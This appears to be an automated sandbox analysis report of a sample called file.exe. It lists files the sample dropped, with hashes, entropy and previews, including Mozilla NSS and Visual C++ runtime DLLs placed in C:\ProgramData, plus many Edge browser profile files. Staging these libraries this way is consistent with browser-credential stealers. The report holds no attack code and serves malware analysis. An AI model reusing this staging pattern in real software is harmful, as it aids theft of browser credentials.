SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\219fda36-7b0b-4429-9c7d-23c4c5488457.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44914
Entropy (8bit):	6.094816574861356
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWr0i1zNt1YmijNORFzDDJ0KJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynKijzKtSmd6qE7lFoC
MD5:	A32B1BAF55B2AB4FA3EC0FC517F70648
SHA1:	D4162FA364C22DABADE54924D6A14C160C6F05A1
SHA-256:	A27404EE4D02745177A4D07E6E8790F3E312141F819351D35DA908067D7358FD
SHA-512:	51290495570175094CAFEED2C1485E9CB1E1D40A2A44E26184F2F0029E7BFA5505F34FA84C62CC820BA103932CE813C386B4E3FBDBDD62F5C7D65132A0E6E7A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\23f09f45-f5d8-461d-bf13-d044f9f555c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8d40f6ee-6216-4d2e-a781-694a0999f4b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44980
Entropy (8bit):	6.094859112031799
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWr0i1zNt1Ymij9zj0F5aOTkKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yOKijdKtSmd6qE7lFoC
MD5:	4A078CE1AE78E18F0A85D5EE2824807C
SHA1:	D7D43418D3B544F7BCD903CDA1B382EA22DBA000
SHA-256:	4B656FA03EDF226C71D8D653ADF22C032A9958FCB0704310C39473E5FD8F188B
SHA-512:	48D9D4D436B517727A7646BE89EA43ACCF55ACAA40A1C81F115CE4292E814B249A086B49CA853765B6BCBA280E1211299EDC40D49BA7484046C363DEB25836DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8d77abbb-f999-4ad3-8822-07228e5aec05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46458
Entropy (8bit):	6.086048227985001
Encrypted:	false
SSDEEP:	768:3MkbJrT8IeQcrQgxKOXPi1zNt1Ymij9zj0F5aOTkhy1DhuCioLJDSgzMMd6qD47D:3Mk1rT8HRKxijd014FoLtSmd6qE7D
MD5:	91FC6C9FA234ACD3F4EB74405AC1E992
SHA1:	1D1E74ACCF52A34F1FA4321E33DD201F07D46F5B
SHA-256:	0101AC2516CD87BBA48AD66FE391D791EF2B5173845B251E267A349548E804A6
SHA-512:	CEB4B6FB5D3E60A3DDF79BDD06761FD7FF2B7671CE2DCB2B9C491502B4C419037BA5AFDB89578C41ECE71852364508DD1015BA63F3748179E7F1290D6DFFDDE5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374694770833958","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bbee9eda-af37-4c84-a17a-fce1a3027b7b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730221174"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\a71d50b2-79ee-4122-9441-b23d58258f3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67211471-1E64.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4612474471987119
Encrypted:	false
SSDEEP:	6144:xabR4RXhrNi2q75/2iqIffb5Kw5AaHvE:5Nif7tL
MD5:	DA8C4089ED25674B4E5E151DCE41F24D
SHA1:	AE3B0B09D71B7DAE02DE1BCCDBE235A1F2E462FD
SHA-256:	F962B9A105EB79EA5BD425CA4F22F226C158C5BFF0ACC7D64F23F5211E8A1FF2
SHA-512:	9D2170660F517FE355FDF8C11C8F3F61DC587D964BE9E6F3DD06820B1F6B51A41E0DC6AFF8B68AAA2DD3CF6CF3FBB4DCDDE9ABFBEA68A8E38880DCD8129B2ED7
Malicious:	false
Preview:	...@..@...@.....C.].....@...................H...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".fnppcb20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7305e7b5-c6d6-4b11-ab6f-3dba2bff062c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561523379625778
Encrypted:	false
SSDEEP:	768:4sBuAZWBa7pLGLpuEW5wddf42r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPBdHoISPC:4W/ZCycpuEWaddfvru1jakdHQMaHAwov
MD5:	7B1102CDB47FE9D357663DB77B6AF31A
SHA1:	48E2D6EF3AC1CA59B0C201F56922EE14AEF3B83C
SHA-256:	CEC46CBC9F1B0A022B72C33B184889A45AC6EBFCFF7919672EADF91351E34599
SHA-512:	2ADD44E3B7426110424A5B76EB174615CBFD8A6D09709C89BE882DB9FD237F709AD73CD11F4AF90B457221C24E551323F3B66592FAB0C6759C77DDA96492AA04
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374694770184748","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374694770184748","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7fe7c86c-6d76-4e01-85cd-71cc674d551f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561523212025928
Encrypted:	false
SSDEEP:	768:4sBuAZWBa7pLGLpuEW5wddf4Vr8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPBdHoISPt:4W/ZCycpuEWaddfCru1jakdHQMaHA4o8
MD5:	4C164589305C6A82B9F9C8B83B82E6DB
SHA1:	4692754A65A197EDE200268F9255C752BEE56380
SHA-256:	A96D0826E0DCD4F711BC6A7EB40543E71172C702B76AC172C92360B9A9432D68
SHA-512:	1D3593D114F1B8FF99029BA9538FF1527EFD2FA6ECCA04ED9AA1376EC268CDB467B08578CE5745733D93CF3ACCEE320EF45CF6C681B358CC4BA663E675481FC4
Malicious:	false
